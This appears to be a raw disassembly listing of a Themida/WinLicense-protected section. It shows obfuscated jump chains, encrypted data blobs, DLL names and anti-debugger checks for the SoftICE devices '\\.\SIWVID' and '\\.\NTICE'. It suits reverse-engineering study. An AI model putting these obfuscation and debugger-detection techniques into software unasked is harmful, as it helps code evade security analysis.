		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56619F:				; CODE XREF: Themida_:00556797j
		add	esi, edx
		add	esi, 697F5799h
		jmp	loc_560F9F
; ---------------------------------------------------------------------------


loc_5661AC:				; CODE XREF: Themida_:00565FFAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	1F30h
		mov	[esp], ecx
		push	0A7Fh
		mov	[esp], ebx
		mov	ebx, 1
		push	ebx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55A411
; ---------------------------------------------------------------------------
		dd 5E243481h, 5D137054h, 0FFF346E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5661E9:				; CODE XREF: Themida_:0055E4A2j
		push	ebx
		push	edx
		mov	edx, 570151DFh
		not	edx
		or	edx, 254D68BBh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4D5F07F7h
		sub	edx, 2562390Ah
		add	edx, ebx
		add	edx, 2562390Ah
		pop	ebx
		jmp	loc_557E8A
; ---------------------------------------------------------------------------


loc_566217:				; CODE XREF: Themida_:005545ADj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_564109
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0DBh
		dd 29026332h, 2C875AD5h, 24248B24h, 8904EC83h, 0BA522424h
		dd 4, 4245401h,	0FF7A8AE9h, 2C483FFh, 0FFFD0966h, 835F2434h
		dd 0C16604C4h, 816605EDh, 66490DC5h, 66609805h,	0DFE9E829h
		dd 81FFFECFh, 4ECh, 24348900h, 5C97BD55h, 63BE5A02h, 819EDCAFh
		dd 790CB5EEh, 52EE2908h, 0FF54B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566289:				; CODE XREF: Themida_:00558C20j
		mov	ebx, [esp]
		jmp	loc_55F168
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0FDh
		dd 0FED8D2E9h, 0C8B66FFh, 3EE56824h, 34890000h,	7266824h
		dd 24890000h, 24048124h, 4, 6824348Bh, 2D01h, 89243489h
		dd 4C681E6h, 55000000h,	0FED51BE9h, 2BAFFh, 0E9810000h
		dd 6F997D56h, 6421C181h, 0D1012C93h, 6421E981h,	0C1812C93h
		dd 6F997D56h, 5A2434FFh, 4C481h, 0C870000h, 24248B24h
		dd 240C8B66h, 6EA36855h, 24890000h, 24048124h, 4, 0FF4863E9h
		dd 81DA01FFh, 470FBAEAh, 7B42E957h, 0C301FFFFh,	0FF0140E9h
		dd 58C231FFh, 0FFF914E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566331:				; CODE XREF: Themida_:005619D2j
		pop	edx
		jmp	loc_565494
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 2400h, 0FF5E8CE9h, 48F54FFh, 0B2E0E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56634E:				; CODE XREF: Themida_:00556F57j
		add	dl, 5Fh
		shr	dl, 5
		jmp	loc_552841
; ---------------------------------------------------------------------------


loc_566359:				; CODE XREF: Themida_:0056322Dj
		mov	[esp], ecx
		push	7EC5h
		mov	[esp], esi
		jmp	loc_55D629
; ---------------------------------------------------------------------------


loc_566369:				; CODE XREF: Themida_:0055B9FAj
		add	dl, 59h
		sub	bl, dl
		pop	edx
		jmp	loc_55C83C
; ---------------------------------------------------------------------------


loc_566374:				; CODE XREF: Themida_:0055B038j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		push	51F9h
		mov	[esp], ebp
		mov	ebp, 60CB07E9h
		jmp	loc_55D401
; ---------------------------------------------------------------------------


loc_566393:				; CODE XREF: Themida_:0055E5DCj
		pop	esi
		xor	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553DC4
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 8324248Bh, 48904ECh, 57E08924h
		dd 7955E956h, 30FFFFFFh, 0FF4DD7E9h, 81E689FFh,	4C6h, 0E8CEE900h
		dd 0E95BFFFFh, 0FFFEBA2Eh, 0C681E689h, 4, 4331BD55h, 0AE96BEAh
		dd 8FFFFF0Ch, 248B2404h, 0B236E924h, 5468FFFEh,	89000053h
		dd 0BF572414h, 47824D45h, 0CFE9514Fh
		db 0E0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566407:				; CODE XREF: Themida_:005614F0j
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_554787
; ---------------------------------------------------------------------------
		dd 0EC83D1F7h, 24048904h, 7ED6E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56642E:				; CODE XREF: Themida_:00558931j
		mov	edi, esp
		jmp	loc_55D53D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9C8B70Fh, 0FFFF2D48h, 5D2414F7h, 0E4C5ED81h, 0EE01E8ADh
		dd 0E9242C8Bh, 0FFFFD743h, 3613C505h, 4878E979h, 555EFFFFh
		dd 3030C8BDh, 51DDF761h, 7D0B05B9h, 81D1F725h, 4CDA3CC1h
		dd 59CD29C4h, 3FCEEF81h, 36E9491Eh
		db 1Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566483:				; CODE XREF: Themida_:00562B46j
		add	ecx, edx
		jmp	loc_55C7BE
; ---------------------------------------------------------------------------
		dw 4B68h
		dd 89000070h, 83B9240Ch, 81295C5Bh, 1A314AE9h, 14BB53F1h
		dd 813B5748h, 0C1639BEBh, 0D2F38141h, 812A8F44h, 0CEF6DF3h
		dd 0E9D909B7h, 0FFFFA498h, 240C8B66h, 584068h, 241C8900h
		dd 90685B54h, 8900000Bh, 98E9242Ch, 0B9FFFF97h,	32076C6Ch
		dd 3246E981h, 0C8892AACh, 8832E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5664EA:				; CODE XREF: Themida_:005552ACj
		push	6131h
		jmp	loc_560315
; ---------------------------------------------------------------------------


loc_5664F4:				; CODE XREF: Themida_:00558859j
		or	ebx, 2B8F6AC5h
		sub	ebx, 1
		push	edx
		mov	edx, 593E55F0h
		push	ebp
		mov	ebp, 53F3110h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	edx, 37802893h
		xor	edx, 0B1EEC1C3h
		jmp	loc_557A79
; ---------------------------------------------------------------------------
		dd 815EF229h, 5471EAEEh, 81D62954h, 5471EAC6h, 9D055A54h
		dd 29015808h, 29ABE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566546:				; CODE XREF: Themida_:0056426Aj
		pop	eax
		push	4F34h
		mov	[esp], edi
		push	edx
		mov	edx, 54EC283Ch
		not	edx
		add	edx, 54EC2841h
		mov	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		jmp	loc_558C8E
; ---------------------------------------------------------------------------
		db 0BEh
		dd 751A328Eh, 515EF589h, 60CA6852h, 64E96C0Ch, 81FFFF2Bh
		dd 0FC04246Ch, 8B466B01h, 0C4832434h, 0C6815E04h, 4, 4C681h
		dd 0EC810000h, 4, 0FF243489h, 5E042474h, 8B24048Fh, 0E9572424h
		dd 0FFFFC082h
; ---------------------------------------------------------------------------


loc_5665B4:				; CODE XREF: Themida_:0055FFB5j
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	esp
		jmp	loc_55FFBA
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5EF2015Bh, 8904EC83h, 92B82404h, 0D3A3248h, 673140C3h
		dd 745A6E25h, 0D06AE951h, 45E9FFFEh, 5FFFFEB0h,	4C481h
		dd 0C7810000h, 4, 2B951h, 0EF810000h, 29A02644h, 4901EF81h
		dd 4EE94D1Eh, 88FFFFF2h, 0B4E95AF3h
		db 4, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56660F:				; CODE XREF: Themida_:005653C1j
		sub	ebp, edi
		jmp	loc_563581
; ---------------------------------------------------------------------------
aI6user32_dll	db 'ë6USER32.dll',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aNtdll_dll_0	db 'NTDLL.dll',0
		db '×',7,0Ah,0
		dw 1
		dd 0A001Dh, 60003h, 0DFF602AEh,	2DE953B5h, 68000008h, 6399AE6h
		dd 0FDE44DE9h, 9B5968FFh, 43E90639h, 68FFFDE4h,	6399C81h
		dd 0FDE439E9h, 9D9A68FFh, 2FE90639h, 68FFFDE4h,	6399DF6h
		dd 0FDE425E9h, 9F0F68FFh, 1BE90639h, 68FFFDE4h,	6399F77h
		dd 0FDE411E9h, 7ACD13FFh, 4790DF9Ah, 1A5FAC67h,	0E92E7F3Ah
		dd 0B9FC4E09h, 0A4562ED9h, 742F0F52h, 4500E029h, 13CEAEF5h
		dd 1CA080C7h, 562F1B36h, 8FBCE71Ah, 38122D7Fh, 0ABE71A56h
		dd 4A3E5A85h, 4C77C00Bh, 0AF038E64h, 1FA0BBD9h,	0D4E75AEFh
		dd 0FDB253AEh, 99BCCACBh, 2D5F244Ah, 0BA7C97DCh, 0E92E7FE8h
		dd 0A5D00822h, 220F64Ah, 0B7F226E7h, 0F9173D38h, 5E2568BAh
		dd 15381944h, 0B2CDEBC1h, 3E810788h, 4E47525Bh,	927C7AC0h
		dd 0B1FD3C5Ah, 83CF8A6Ah, 0E08A713Ch, 9C53E05Dh, 69FADh
		dd 0DE317700h, 0ABF443FEh, 7EC310CBh, 4D92E39Eh, 1D60B26Dh
		dd 8B2923Dh, 0D89373B6h, 0A964448Dh, 77321259h,	8004E42Bh
		dd 564B7F9Ah, 0EB18E71Ah, 0CA115DF7h, 96B10303h, 0E123CCB4h
		dd 8BE61137h, 28436137h, 0E75D6667h, 0E638567Ch, 0E51057A7h
		dd 75670C0h, 0D2DDF7BEh, 5F794085h, 3C8C4727h, 0F5412EF5h
		dd 11498EDBh, 892EBD46h, 907F3639h, 62Ch, 8B6BBE04h, 583881D0h
		dd 2B0B509Dh, 0FADA1F70h, 0CAAAED3Fh, 4395211Fh, 1A652000h
		dd 0E636F1D1h, 0B804BF9Fh, 270D9171h, 1A573E0Ch, 8C80ADE7h
		dd 3CA115Dh, 829DCA16h,	0E123CC48h, 0F6BDF51Bh,	0E4F6D47h
		dd 36288923h, 485Dh, 115D2B00h,	8138EACAh, 0E123CC35h
		dd 614188D4h, 0C8404493h, 6AF79EB9h, 0BA90E43Fh, 0CDE74D9Ch
		dd 9D01566h, 75D8D4EFh,	0A6C1F924h, 0E75B0607h,	8DBDD8E4h
		dd 5EE71487h, 0A3E20038h, 712C0C53h, 2413DA21h,	598h, 0E4115DCCh
		dd 23CC81C9h, 43C62E1h,	1DC61A3Dh, 7B5CA4CCh, 0FBFE219Dh
		dd 526D8BC3h, 0E75A84A1h, 8ED72665h, 696DB073h,	345FCD85h
		dd 98533359h, 0A8E7054Ch, 0D9F41257h, 0E714B3F1h, 27214C72h
		dd 0DEEC0759h, 8DE714B3h, 8DE13C67h, 0E5A99B7h,	0BBE600C7h
		dd 19326883h, 95D4E16Ah, 0EC2B2048h, 47D2820h, 0CDC6A1CCh
		dd 0E4023A81h, 2E0E55A5h, 0B9CF2160h, 405A216Ah, 68B8DD08h
		dd 4E2ADD3Eh, 0E61E9BC2h, 9FE6321Fh, 0BEEF19D4h, 0CFBB23Fh
		dd 504h, 634396DCh, 301059A8h, 3E32875h, 0D2B2F748h, 0A282C517h
		dd 1B6D09F7h, 0F23DF8D8h, 0BE0EC9A9h, 90DC9777h, 0FFE56949h
		dd 1A50E6E4h, 645885E7h, 79BE0B4Ah, 96DD294Eh, 4F96E2CFh
		dd 0E1FFD988h, 0C5052072h, 0A6E123CCh, 10545580h, 0D4E123CEh
		dd 288D4EE4h, 0FED13236h, 5D00FFFFh, 303CA11h, 82B099B4h
		dd 59AB25E2h, 0A5C0DE16h, 0E12353A5h, 9AF52046h, 37527046h
		dd 0E75A731Eh, 11DFBFE5h, 103B82D2h, 6D8B61B5h,	6D6AE152h
		dd 955C82E1h, 0BE075695h, 7BC59293h, 0AEBCE123h, 3FE24F90h
		dd 5B9E3629h, 6C000001h, 0E539589Ah, 41D6F10Fh,	1AE75AEFh
		dd 0B7F899F4h, 2CBCCACBh, 0C9E402D8h, 38B7D644h, 4B91969Fh
		dd 52226C8Ah, 0F92C1337h, 72AAD038h, 9BD31C67h,	875DB1D4h
		dd 0CEFC1769h, 9D38F92Ch, 0F9144C77h, 3E81E6C1h, 1F5E7CA2h
		dd 605CA9D3h, 966C67A5h, 9FBA65E6h, 0BBF3F519h,	0D7BE0DDBh
		dd 0B66D483Dh, 1D698EB9h, 0CE4A0BD6h, 5C13E05Dh, 3EB6Dh
		dd 2A7DC300h, 0F7408F4Ah, 0CA0F5C17h, 99DE2FEAh, 69ACFEB9h
		dd 54E6DE89h, 24DFBF02h, 0F5B090D9h, 0C37E5EA5h, 0CC503077h
		dd 51FFCBE6h, 3F6CE71Ah, 0FDD3274Bh, 66DBC4DFh,	0DA00E75Dh
		dd 4B96DBCh, 0B57A7950h, 0C313528Ah, 91E19C7Ch,	4A96834Ah
		dd 0A693803h, 4B023989h, 38F5Ch, 0CE216700h, 9BE433EEh
		dd 6EB300BBh, 3D82D38Eh, 0D50A25Dh, 0F882822Dh,	0C88363A6h
		dd 9954347Dh, 67220249h, 70F4D41Bh, 515B6F8Ah, 0DB08E71Ah
		dd 0ECFB4AE7h, 0AC319D11h, 6FBBE00Bh, 0F616128h, 239BD6F4h
		dd 9D8C95E1h, 0C3826E33h, 0D6FB265Eh, 0CD7C438Ah, 0CB9DD5F3h
		dd 0A9E123CFh, 288C79B9h, 0FD510736h, 7AB9FFFFh, 21CE32Ah
		dd 115DBBD7h, 8CE003CAh, 5C7D98B6h, 0FE75AFBh, 0E3E2E803h
		dd 5B81E714h, 79C60523h, 28536D34h, 539A7C2Eh, 0F614EA3Eh
		dd 0D31865A4h, 0C6C7F20Ch, 0E75AEF31h, 78BD0E4Dh, 2C75C4B1h
		dd 0F5134B65h, 14EEF0DAh, 224D73E7h, 0B4032147h, 2DB83843h
		dd 61AEB914h, 103B551Ch, 90C6FA9Bh, 0C91D8F0Ch,	55BAD5F3h
		dd 31497A34h, 3560A5F2h, 0C716345Ah, 8F21EAD8h,	94ED8669h
		dd 0BA9666CEh, 53765782h, 0B90B29FFh, 3B12426Ah, 729D674Fh
		dd 4CD84971h, 0D6F41A4Fh, 0E6044B97h, 4B1255A7h, 510C0631h
		dd 26F3BE05h, 0AF919053h, 27609F8h, 84E0000h, 0CB1AD5B5h
		dd 9AE7A282h, 69BA7555h, 37894424h, 9B6914F4h, 6A4A8DDFh
		dd 3B1B64AFh, 9E93080h,	0DBBB024Eh, 74567157h, 0F7E71A53h
		dd 0FB4AD6CAh, 3A394440h, 409BC601h, 0CAF243ECh, 9117928h
		dd 0E4ABE321h, 597492CAh, 0E75DC416h, 0CA09274Dh, 9853337Ah
		dd 4D3A0148h, 4CEFBA01h, 1539898Ch, 20E6F5Eh, 0A0E60000h
		dd 63B26D4Dh, 327F3A1Ah, 1520DEDh, 0CF21DCBCh, 301AC8Ch
		dd 2E22577h, 0D3B3FC47h, 0A181C818h, 73539AE6h,	0DCEE09EFh
		dd 8FE71A53h, 0D3276E62h, 0E1C4DFFDh, 9DE75D66h, 0A8F30F5Eh
		dd 4660275Fh, 1934401Bh, 0E71A5531h, 36548CB2h,	9960A7F7h
		dd 0DF175AACh, 0D82A7CB4h, 555F6B86h, 0E60CE71Ah, 1A55CBFFh
		dd 577298E7h, 5B82A49Fh, 0E70C37A0h, 0F736549Bh, 849E65AAh
		dd 256E5F59h, 9EEA2947h, 4B769057h, 0EED8F813h,	0EF2EE71Ah
		dd 0F53E89A3h, 0BEDC142Eh, 1AEEA7A3h, 0F31E44E7h, 82D4F218h
		dd 1AEE6367h, 2469B6E7h, 8982435Dh, 92BDF53Eh, 4972C4B1h
		dd 1AEE1C2Eh, 2DC6CFE7h, 0D9F00E6Ch, 753C74ACh,	82A8FAB1h
		dd 0F3E8052Fh, 53336B8Ch, 1D3B1962h, 1AF3C002h,	0B67DA3E7h
		dd 6F367DC9h, 53A2E1ABh, 6EBADF0Ah, 408C4727h, 348232F9h
		dd 91B706A8h, 0AC6D8844h, 0D2F00E39h, 86002A76h, 2DEB7BE4h
		dd 0AE694981h, 67541B62h, 6A0BD215h, 0AEFA5674h, 7ACC8767h
		dd 0A9F91564h, 2BF22A62h, 19A13B7Bh, 0A4D9FFBh,	0DA1D6F2Ah
		dd 0A9D62613h, 43C8DA5Ah, 20073BD5h, 0E71A522Ah, 945B93B9h
		dd 8BFA18D8h, 522C1E39h, 99BFE71Ah, 0B4F7496Eh,	0C30C5796h
		dd 9674FFFCh, 47FB952Dh, 1CEAE40Fh, 1C478CDDh, 9D64ABF7h
		dd 0AE4D34D4h, 405E1E9Fh, 715198E4h, 5C236AB6h,	0BC071D6Fh
		dd 0C6743B73h, 2470CCEAh, 0F642FDDDh, 99E8E8AFh, 0C0E0FBF9h
		dd 96F11C10h, 334E6C42h, 591038BAh, 1358A5E4h, 7E70DE8h
		dd 0CEECC216h, 20ADE0B3h, 0ED5FB5Fh, 0AE8ED521h, 5F7AA7F3h
		dd 5F679E6Bh, 58195CAEh, 6A33FA32h, 88F41884h, 7EDAF8D4h
		dd 500BEB32h, 9F6BD04h,	0D54A0B8h, 0D1210ED5h, 0A8C3C38Ah
		dd 0AEBE3A2h, 0BE101B41h, 0DD155CA8h, 6E8C6816h, 437BC212h
		dd 2F8BA969h, 1BC9CE3h,	0B8A76EB5h, 8, 0C00B4A60h, 0F24C77h
		dd 0FDC4175Dh, 0B67DC410h, 6B3279C9h, 23EA337Eh, 0DAA1E436h
		dd 91589BEDh, 470E53A4h, 1C80D5Ah, 0B57CC514h, 5F5457C3h
		dd 4C781h, 0EF830000h, 243C8704h, 7D4685Ch, 1C890000h
		dd 54656824h, 3C890000h, 4848BB24h, 0DBF7572Ch,	4B8AC381h
		dd 0D3F7C8BBh, 0E3C1D3F7h, 46C38108h, 0C1181075h, 0F38105E3h
		dd 0E44F728Ah, 243C8B54h
		dd 4C481h, 81530000h, 15242404h, 478F7FE2h, 24BA5208h
		dd 297FE215h, 0FF5A0857h, 815F2434h, 4C4h, 2434FF00h, 4C4815Bh
		dd 0E9000000h, 0FFFDDC36h, 0F0DDFB02h, 0F2BC1064h, 6610189h
		dd 39A1AAB8h, 0FFC50306h, 54966E0h, 4CA60D79h, 4A5D1D14h
		dd 8F08786Fh, 0B506A713h, 32A46A29h, 0AA112655h, 62658E74h
		dd 0D2BA9958h, 0AEF79342h, 0CAB8AA37h, 25659226h, 54F35C42h
		dd 2854991Ah, 0B585E126h, 384B852h, 1C93F278h, 4D22ED5Ah
		dd 0C6E7076Dh, 0B9A94775h, 4A48E61Ch, 0D4755E21h, 0A037A449h
		dd 0C1AC096Dh, 4675C162h, 6E80Bh, 3B240000h, 0F46EECD1h
		dd 0E8B1B360h, 12h, 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h
		dd 6158A3FEh, 1AE8815Fh, 8138F2A8h, 69DBC7h, 39BA6600h
		dd 0B983h, 1C8B0000h, 0F1BF0F0Fh, 0BB9CF381h, 0C3810BC1h
		dd 49BD45C8h, 8AE08166h, 8DC38176h, 0B070251Ch,	0F1C89FBh
		dd 80F8EC80h, 0E9835DF6h, 33B86604h, 0A4F98102h, 0FFFFF96h
		dd 0FFFFC585h, 0BE9FFh,	0AD230000h, 9A542036h, 0F53CE243h
		dd 73E904h, 83600000h, 370A39BDh, 840F0006h, 5,	5EE9h
		dd 80006A00h, 850F303Eh, 8, 0E946006Ah,	35h, 0F333E80h
		dd 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh, 306A0000h
		dd 13E946h, 3E800000h, 8850F35h, 6A000000h, 2E94640h, 6A000000h
		dd 39858D00h, 50063732h, 50240489h, 6A243489h, 0A595FF00h
		dd 61063718h, 0B985C6C3h, 4D063722h, 0B17FA068h, 243481F2h
		dd 56840908h, 45DB5FFh,	858D0637h, 6373A14h, 8589D0FFh
		dd 63718A5h, 0EE8h, 4169A00h, 61F7BC83h, 2B3AD99Ch, 0F81B84A4h
		dd 12E95Fh, 3FCA0000h, 0EC762924h, 0B36AC2C5h, 17227A79h
		dd 0F845C40Dh, 5BE2C781h, 13E90000h, 56000000h,	3EE9A20Fh
		dd 8476F119h, 53D5691Dh, 0B18C8F49h, 0CC68650Ah, 80000016h
		dd 295EEEE2h, 370D0D95h, 6037FF06h, 2EED858Bh, 9D330637h
		dd 637227Dh, 0BD895961h, 63730E9h, 0D7EEC181h, 0E981725Dh
		dd 42293576h, 254DE381h, 0F1812681h, 737DD00Bh,	9DD9D8Bh
		dd 0F890637h, 0DCF6BB66h, 0E903EF83h, 0Ah, 67F056A9h, 6DB6F34Ah
		dd 664F3CD2h, 9574E081h, 0F01EE83h, 0FFFFA485h,	0C19D8BFFh
		db 1Ah,	37h, 6
byte_5670CF	db 0EBh			; DATA XREF: Themida_:0053FD38o
		dd 2E5C5C1Eh, 4349535Ch
		db 45h,	0
a_Siwvid	db '\\.\SIWVID',0       ; DATA XREF: Themida_:0053FA98o
a_Ntice		db '\\.\NTICE',0
		db 8Bh
		dd 0D98589C0h, 83063703h, 371929BDh, 9750006h, 1FE1BD83h
		dd 74000637h, 8B535019h, 40FB8C0h, 85890000h, 6371B41h
		dd 0B10C9D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50177400h
		dd 40FB853h, 85890000h,	6371B41h, 0ADFB9D8Dh, 0D3FF0639h
		dd 9589585Bh, 6370D1Dh,	8BD18B66h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 38BA66B3h
		dd 0B985C660h, 43063722h, 2B31C868h, 23F3BAA0h,	34810B2Ch
		dd 0A55F3424h, 0E860601Ch, 0Dh,	5EF0771Ch, 94D1930Eh, 1EBEA73Ch
		dd 0BE95F95h, 30000000h, 0AB13564Ah, 5A39DACDh,	6061F05Eh
		dd 0B319D09h, 850F0637h, 0
		dd 0BD896161h, 6371039h, 1B49B5FFh, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 2CDD7FC3h
		dd 0C445A8C0h, 2351BD8Bh, 858D0637h, 6373A14h, 11E8h, 2ED1ED00h
		dd 0B866D76Fh, 0EF84C81h, 5C2AC205h, 0FF5F8931h, 0BA6653D0h
		dd 905E938Dh, 0AEBF5250h, 0F7E0D0Ah, 0EABA6631h, 50585AFAh
		dd 6D182CBFh, 6A900Bh, 88EA68F8h, 1CB15E7Fh, 6A243481h
		dd 0B95E7F88h, 42E0DEDDh, 0B58B036Ah, 6370F15h,	9501006Ah
		dd 6373361h, 0B966036Ah, 4E8BCD3h, 0
		dd 0BFC00000h, 41E099D5h, 8B02B550h, 0E8042444h, 5, 0AC38319h
		dd 8B5F2Fh, 4810Fh, 0BA660000h,	4489CAB4h, 0EE90424h, 82000000h
		dd 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 6A58CFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D8B26C3h
		dd 6371809h, 1F18166h, 7E95Dh, 4A640000h, 0FC3D5552h, 829D8DF0h
		dd 8B0639A4h, 371DFDBDh, 52509306h, 310FD38Bh, 0B550585Ah
		dd 6A93AEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 958B9DC3h, 6371B7Dh, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 96B140C3h
		dd 1681A2B7h, 40990B71h, 348850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 4EBF76C3h
		dd 1BA74F79h, 6E9D279h,	0C2000000h, 99A73D8Eh, 0CF8B66CAh
		dd 57A7BF58h, 0F507A4Ch, 1887h,	128F0F00h, 0E9000000h
		dd 0Dh,	3B874395h, 23921B2Ah, 0CF4608C9h, 240489D8h, 6AFBBF0Fh
		dd 55958900h, 89063712h, 370879B5h, 8C326806h, 52506F80h
		dd 10E960h, 0BCF60000h,	0C76F1EF8h, 2748DF0Ch, 0DD88ED4Dh
		dd 0DE8E9CFh, 59000000h, 16A136ECh, 3EDCF751h, 90A6D696h
		dd 310F6159h, 585AFE8Bh, 0B2243481h, 0F6F808Ch,	289h, 6AC88B00h
		dd 398D0103h, 6A063707h, 99950B00h, 6A063722h, 2BF18103h
		dd 685CF752h, 92DBCD10h, 10243481h, 0F52DBCDh, 682h, 0F1958B00h
		dd 53063709h, 8DC78166h, 9D8D5EB8h, 639A48Bh, 74EE8166h
		dd 880F9374h, 7, 0C28B6660h, 506122B0h,	50006A93h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0ECA3792Ah, 0F78B68C0h, 3D299B9h, 0A9B58B08h, 0FF06371Fh
		dd 7D8D31D0h, 40063722h, 208850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 34BA42C3h
		dd 7644A220h, 11E85891h, 0F5000000h, 159A5EA4h,	866F578Ch
		dd 0EC93DB13h, 0C6106ED0h, 0EE8h, 71EB1000h, 9A84C5C6h
		dd 1188453h, 0E8987362h, 13h, 20A02002h, 0B8E8159Eh, 9F975DA3h
		dd 0DBB6F9F4h, 5F0E7C14h, 50905F59h, 0FD38A52h,	52505731h
		dd 585A310Fh, 50585A5Fh, 0F905F52h, 687h, 7D952300h, 8B06372Fh
		dd 37203DBDh, 0E9006A06h, 6, 13672F8Dh,	4E812AAh, 80000000h
		dd 0BA000000h, 44ECB02Eh, 66525050h, 0F97C9BFh,	5E931h
		dd 0C7C20000h, 5A3D6729h, 24448B58h, 0E9605104h, 9, 0A2ACB600h
		dd 1828FF18h, 8E865h, 66AD0000h, 81D1F6D6h, 6159452Bh
		dd 0E8008B5Ah, 8, 0D9DD1AAFh, 0AF6C8A19h, 895E27B6h, 58042444h
		dd 0BE9h, 0FC0ADE00h, 0C0D54497h, 0CBAC557Bh, 8529036Ah
		dd 6370899h, 1CDD9531h,	6A0637h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 19h, 94C35545h, 1FB37044h, 0D6B70FE3h
		dd 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 57A862C3h, 58A47F9Bh, 9D89B3B8h, 6372E49h
		dd 439F4368h, 24048196h, 29BC60BDh, 7E9h, 70C66200h, 3EE4DC45h
		dd 0A4969D8Dh, 9D010639h, 6370775h, 0F98B6693h,	8C0F6050h
		dd 2, 0BE6616B3h, 9361233Ah, 0CA12BA66h, 0E781D0FFh, 617F6FF0h
		dd 53850F40h, 66000000h, 98C2D281h, 5830F53h, 66000000h
		dd 94E5C981h, 6A585Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 5443F4C3h, 0B1F94E3Fh, 7E9AEh, 53E60000h
		dd 0BF575C50h, 0EAE939h, 95890000h, 6371055h, 2355958Bh
		dd 0D88B0637h, 47F68166h, 8D8B4BBEh, 6372E75h, 85C6F958h
		dd 63722B9h, 55006A43h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0E897C061h, 0CF76CA2Ah, 6860Fh, 95890000h
		dd 6371B91h, 0B2B9B868h, 1EBF66C8h, 243481A8h, 8C4F31Fh
		dd 0FFC8B70Fh, 371B49B5h, 18D8B06h, 8D06371Bh, 373A1485h
		dd 17820F06h, 0E9000000h, 12h, 46D67603h, 62431AFDh, 9C23B7EDh
		dd 23D6ADC3h, 0D0FF36ADh, 1FE9BD29h, 8B500637h,	241C89F1h
		dd 0DA81D0FFh, 1F635C4Ch, 72A79D8Dh, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 521BEAC3h
		dd 8B6652DCh, 0B5015EF8h, 6370A15h, 1B8h, 0CABF0F00h, 0B589E3FFh
		dd 63725A1h, 6E8C18Bh, 8C000000h, 89F18273h, 0D68B6686h
		dd 0E9C08B5Ah, 8, 410219A1h, 0F13D88CDh, 1929BD83h, 75000637h
		dd 0E1BD8309h, 6371Fh, 53501974h, 0FB8C08Bh, 89000004h
		dd 372A0585h, 739D8D06h, 0FF0639B1h, 83585BD3h,	371FE1BDh
		dd 17740006h, 0FB85350h, 89000004h, 372A0585h, 149D8D06h
		dd 0FF0639AEh, 60585BD3h, 2601BD89h, 0F6800637h, 666061C1h
		dd 66BC41B9h, 0DB7DE081h, 0E9C08B61h, 0AAh, 74666F53h
		dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h
		dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h
		dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h
		dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh
		dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh
		dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h
		dd 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	39AC2F85h
		dd 2B858D06h, 500639ACh, 0AB95858Dh, 68500639h,	80000001h
		dd 0AC3B95FFh, 196A0639h, 0AC2FB5FFh, 16A0639h,	858D006Ah
